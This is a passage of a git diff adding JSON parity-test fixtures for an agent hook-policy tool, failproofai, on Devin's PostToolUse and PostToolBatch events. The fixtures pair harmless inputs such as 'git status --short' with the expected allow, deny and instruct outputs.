b/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..aab394c1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..fe997cb0 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..995e1205 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7249590d --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b3bb52ca --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..6e37df7f --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..8ae3c146 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..aa0f07cf --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b0bdcdd8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..82a24877 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..32d2bab7 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..97d88358 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..76bca8dd --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..37a48a61 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9b609de2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..96ea605e --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..17c5fc84 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2c907483 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..0ae7bb26 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": 